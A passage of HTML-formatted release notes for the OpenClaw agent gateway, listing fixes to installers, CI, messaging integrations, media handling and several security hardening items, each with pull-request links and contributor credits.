data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86427" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86427/hovercard" href="https://github.com/openclaw/openclaw/pull/86427">#86427</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525235363" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86944" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86944/hovercard" href="https://github.com/openclaw/openclaw/pull/86944">#86944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Config/update/doctor: retry config recovery after failed backup restore, skip shell env fallback on Windows, exclude prerelease tags from the stable git channel, support deep config edits, warn instead of aborting on unreadable cron stores, prune stale bundled plugin paths, and avoid duplicate restart prompts when the Gateway is already healthy. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508546495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85739" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85739/hovercard" href="https://github.com/openclaw/openclaw/pull/85739">#85739</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509027061" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85787" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85787/hovercard" href="https://github.com/openclaw/openclaw/pull/85787">#85787</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511769726" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86060/hovercard" href="https://github.com/openclaw/openclaw/pull/86060">#86060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513592243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86260" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86260/hovercard" href="https://github.com/openclaw/openclaw/pull/86260">#86260</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515361802" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86384/hovercard" href="https://github.com/openclaw/openclaw/pull/86384">#86384</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517880193" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86533/hovercard" href="https://github.com/openclaw/openclaw/pull/86533">#86533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoyl830/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoyl830">@liaoyl830</a>.</p>
</li>
<li>
<p>Install/release: support Alpine CLI installs and runtime floors, prefer trusted startup argv runtime fallback roots, reject stale CLI node runtimes, avoid npm <code>min-release-age</code> installer failures, bound npm/package/Docker install phases, restore config parent ownership in Docker, seed Docker lockfile package tarballs before prune, make release/plugin prerelease checks fail closed instead of hanging or false-greening, and use host-visible Crabbox local work roots for Docker-backed proof. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505205830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85491" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85491/hovercard" href="https://github.com/openclaw/openclaw/pull/85491">#85491</a>)</p>
</li>
<li>
<p>Windows daemon: keep Scheduled Task gateway launches running on battery power and avoid workgroup-machine prompts for a domain user during task installation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4190592974" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59299" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59299/hovercard" href="https://github.com/openclaw/openclaw/issues/59299">#59299</a>)</p>
</li>
<li>
<p>Security: avoid printing Gateway tokens in Docker, validate plugin model-pattern regexes safely, escape transcript metadata field names, harden session allowlist glob matching, audit Claude permission overrides under YOLO, and require explicit allow for ACP auto approvals. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509772199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85849" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85849/hovercard" href="https://github.com/openclaw/openclaw/pull/85849">#85849</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510569360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85934/hovercard" href="https://github.com/openclaw/openclaw/pull/85934">#85934</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511654235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86046/hovercard" href="https://github.com/openclaw/openclaw/pull/86046">#86046</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518138669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86557" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86557/hovercard" href="https://github.com/openclaw/openclaw/pull/86557">#86557</a>)</p>
</li>
<li>
<p>Media/images: replace Sharp with Rastermill, keep EXIF normalization best-effort, normalize HEIC/HEIF before image descriptions, route Codex image API keys through OpenAI, preserve image compression metadata, and auto-scale live tool result caps. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508895502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85776" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85776/hovercard" href="https://github.com/openclaw/openclaw/pull/85776">#85776</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511517298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86037/hovercard" href="https://github.com/openclaw/openclaw/pull/86037">#86037</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516124165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86437" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86437/hovercard" href="https://github.com/openclaw/openclaw/pull/86437">#86437</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4523450985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86857" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86857/hovercard" href="https://github.com/openclaw/openclaw/pull/86857">#86857</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524700097" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86923" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86923/hovercard" href="https://github.com/openclaw/openclaw/pull/86923">#86923</a>)</p>
</li>
<li>
<p>Memory: prevent semantic vector indexes from silently degrading when embeddings are unavailable, stop doctor OOMs on large session stores, preserve sidecar hooks/artifacts, write fallback dream diaries, use CJK-aware dreaming dedupe, and avoid per-file watcher FD fan-out. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4419718885" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80613" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80613/hovercard" href="https://github.com/openclaw/openclaw/issues/80613">#80613</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462409079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82928/hovercard" href="https://github.com/openclaw/openclaw/issues/82928">#82928</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496988085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85060/hovercard" href="https://github.com/openclaw/openclaw/pull/85060">#85060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507908481" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85704" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85704/hovercard" href="https://github.com/openclaw/openclaw/pull/85704">#85704</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510790288" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85967" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85967/hovercard" href="https://github.com/openclaw/openclaw/pull/85967">#85967</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520541942" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86701" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86701/hovercard" href="https://github.com/openclaw/openclaw/pull/86701">#86701</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yaaboo-gif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yaaboo-gif">@yaaboo-gif</a>.</p>
</li>
<li>
<p>Agents/sessions: include visibility metadata on restricted <code>sessions_list</code> results so scoped counts are clearly reported without widening access or exposing hidden-session counts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525235363" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86944" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86944/hovercard" href="https://github.com/openclaw/openclaw/pull/86944">#86944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Gateway/DNS: validate wide-area discovery domains before deriving zone paths or writing zone files, so invalid <code>discovery.wideArea.domain</code> and <code>dns setup --domain</code> values fail with a DNS-name diagnostic instead of falling through to unrelated configuration errors. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</p>
</li>
<li>
<p>Agents/BTW: route fallback side-question streams through the embedded stream resolver so Anthropic-compatible MiniMax requests use the same capped transport as normal chat. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514047622" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86312" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86312/hovercard" href="https://github.com/openclaw/openclaw/pull/86312">#86312</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Telegram: treat <code>/command@TargetBot</code> bot-command entities as explicit mentions for the addressed bot so <code>requireMention</code> groups no longer drop targeted commands or captions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483658268" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84462" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84462/hovercard" href="https://github.com/openclaw/openclaw/issues/84462">#84462</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518070126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86553/hovercard" href="https://github.com/openclaw/openclaw/pull/86553">#86553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</p>
</li>
<li>
<p>CI: bound Docker/Bash E2E tarball npm installs with <code>OPENCLAW_E2E_NPM_INSTALL_TIMEOUT</code> so package, onboarding, plugin, and upgrade lanes fail instead of hanging on a stuck npm install.</p>
</li>
<li>
<p>CI: fail Parallels npm-update smoke jobs after the guest command timeout and cleanup backstop instead of only logging a timeout line.</p>
</li>
<li>
<p>CI: bound kitchen-sink RPC HTTP probes so stalled gateway readiness or response bodies fail and retry instead of wedging the walker.</p>
</li>
<li>
<p>CI: keep <code>OPENCLAW_TESTBOX=1 pnpm check:changed</code> delegating to Blacksmith Testbox through Crabbox without forwarding local Testbox or worker env into the remote command.</p>
</li>
<li>
<p>CI: send KILL after the TERM grace period for manual checkout fetch timeouts so stuck Testbox and workflow checkout retries cannot hang behind a wedged <code>git fetch</code>.</p>
</li>
<li>
<p>CI: send KILL after the TERM grace period for Bun global install smoke command timeouts so trapped <code>openclaw</code> child processes cannot wedge the scheduled install smoke.</p>
</li>
<li>
<p>iMessage: thread current channel/account inbound attachment roots into the image tool so iMessage-saved attachments under <code>~/Library/Messages/Attachments</code> (including the wildcard <code>/Users/*/Library/Messages/Attachments</code> root) are read through the existing inbound path policy instead of being rejected as <code>path-not-allowed</code>. Literal <code>localRoots</code> stays workspace-scoped. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4005822500" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/30170" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/30170/hovercard" href="https://github.com/openclaw/openclaw/issues/30170">#30170</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518328054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86569" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86569/hovercard" href="https://github.com/openclaw/openclaw/pull/86569">#86569</a>)</p>
</li>
<li>
<p>QQ Bot: respect <code>OPENCLAW_HOME</code> for outbound media path resolution so <code>&lt;qqmedia&gt;</code> sends no longer silently fail when <code>HOME</code> and <code>OPENCLAW_HOME</code> differ (Docker / multi-user hosts). Persisted QQ Bot data (sessions, known users, refs) stays anchored on the OS home for upgrade compatibility. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468393053" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83562" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83562/hovercard" href="https://github.com/openclaw/openclaw/issues/83562">#83562</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliverp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliverp">@sliverp</a>.</p>
</li>
<li>
<p>Update: report the primary malformed <code>openclaw.extensions</code> payload error without adding a duplicate missing-main diagnostic. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518738170" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86596" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86596/hovercard" href="https://github.com/openclaw/openclaw/pull/86596">#86596</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Control UI: keep host-local Markdown file paths inert while preserving app-relative links. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519194707" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86620" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86620/hovercard" href="https://github.com/openclaw/openclaw/pull/86620">#86620</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BryanTegomoh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BryanTegomoh">@BryanTegomoh</a>.</p>
</li>
<li>
<p>Gateway: dampen repeated unauthenticated device-required probes per URL while preserving explicit-auth and paired recovery paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518368934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86575" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86575/hovercard" href="https://github.com/openclaw/openclaw/pull/86575">#86575</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>IRC: store inbound channel routes with the canonical <code>channel:#name</code> target and join transient channel sends before writing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510338183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85906" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85906/hovercard" href="https://github.com/openclaw/openclaw/pull/85906">#85906</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</p>
</li>
<li>
<p>Usage: surface unknown all-zero model pricing as missing cost entries instead of a confident <code>$0</code> total. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510071986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85882" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85882/hovercard" href="https://github.com/openclaw/openclaw/pull/85882">#85882</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MichaelZelbel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MichaelZelbel">@MichaelZelbel</a>.</p>
</li>
<li>
<p>Agents/Codex: honor yolo app-server approval policy only for the full <code>never</code> plus <code>danger-full-access</code> case. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510371309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85909/hovercard" href="https://github.com/openclaw/openclaw/pull/85909">#85909</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/earlvanze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/earlvanze">@earlvanze</a>.</p>
</li>
<li>
<p>Gateway/Gmail: clear Gmail watcher renewal intervals on re-entry so hot reloads do not leak lifecycle timers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462445654" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82947" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82947/hovercard" href="https://github.com/openclaw/openclaw/pull/82947">#82947</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Logging: exit cleanly on broken stdout/stderr pipes without masking existing failure exit codes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4414373713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80059" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80059/hovercard" href="https://github.com/openclaw/openclaw/pull/80059">#80059</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pavelzak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pavelzak">@pavelzak</a>.</p>
</li>
<li>
<p>Gateway/security: escape transcript metadata field names while extracting oversized session line prefixes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510569360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85934/hovercard" href="https://github.com/openclaw/openclaw/pull/85934">#85934</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Plugins/security: validate manifest model pattern regexes with the safe-regex compiler so unsafe patterns are ignored before matching. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511654235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86046/hovercard" href="https://github.com/openclaw/openclaw/pull/86046">#86046</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Discord: route gateway metadata REST lookups through the configured Discord proxy so proxied accounts do not fall back to direct <code>discord.com</code> connections before opening the WebSocket. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415391667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80227/hovercard" href="https://github.com/openclaw/openclaw/issues/80227">#80227</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Clivilwalker/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Clivilwalker">@Clivilwalker</a>.</p>
</li>
<li>
<p>Agents/media: hydrate current-turn image attachments from filename-derived MIME types so active vision can see generated or forwarded images whose source omitted an image content type. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491887450" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84812" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84812/hovercard" href="https://github.com/openclaw/openclaw/pull/84812">#84812</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/marchpure/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/marchpure">@marchpure</a>.</p>
</li>
<li>
<p>Agents/fs: point workspace-only scratch-path guidance at in-workspace temp directories while keeping host-root writes rejected by the tool guard. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517290933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86501" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86501/hovercard" href="https://github.com/openclaw/openclaw/pull/86501">#86501</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianxiaochannel-oss88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianxiaochannel-oss88">@tianxiaochannel-oss88</a>.</p>
</li>
<li>
<p>Agents/media: keep async cron media completions scoped to their run session while preserving direct delivery for stale generated-media success and failure notifications. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517772956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86529" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86529/hovercard" href="https://github.com/openclaw/openclaw/pull/86529">#86529</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>Gateway: emit plugin <code>session_end</code>/<code>session_start</code> hooks when <code>agent.send</code> rotates or replaces a session id, keeping hook lifecycle state aligned with <code>sessions.changed</code> notifications. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467265613" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83507" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83507/hovercard" href="https://github.com/openclaw/openclaw/issues/83507">#83507</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509963144" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85875" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85875/hovercard" href="https://github.com/openclaw/openclaw/pull/85875">#85875</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>OpenShell/SSH: reject malformed generated exec commands before sandbox/session setup so unresolved workflow placeholders fail fast instead of reaching the remote shell. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332058570" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72373" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72373/hovercard" href="https://github.com/openclaw/openclaw/issues/72373">#72373</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Google: stop normalizing <code>gemini-3.1-flash-lite</code> to the retired preview endpoint and update Flash Lite alias guidance to the GA model id. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512418235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86151" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86151/hovercard" href="https://github.com/openclaw/openclaw/issues/86151">#86151</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513395718" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86240" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86240/hovercard" href="https://github.com/openclaw/openclaw/pull/86240">#86240</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Installer: make Alpine apk installs cover Git, verify the Node runtime floor, try <code>nodejs-current</code>, and report Alpine version guidance when repositories only provide older Node packages.</p>
</li>
<li>
<p>Agents/status: prefer the active Claude CLI OAuth auth label over an unused Anthropic env API-key label for equivalent runtime aliases. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415131122" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80184" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80184/hovercard" href="https://github.com/openclaw/openclaw/issues/80184">#80184</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518344489" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86570" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86570/hovercard" href="https://github.com/openclaw/openclaw/pull/86570">#86570</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Agents/media: send direct fallback for generated media still missing after an active requester wake fails. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505148850" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85489" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85489/hovercard" href="https://github.com/openclaw/openclaw/pull/85489">#85489</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
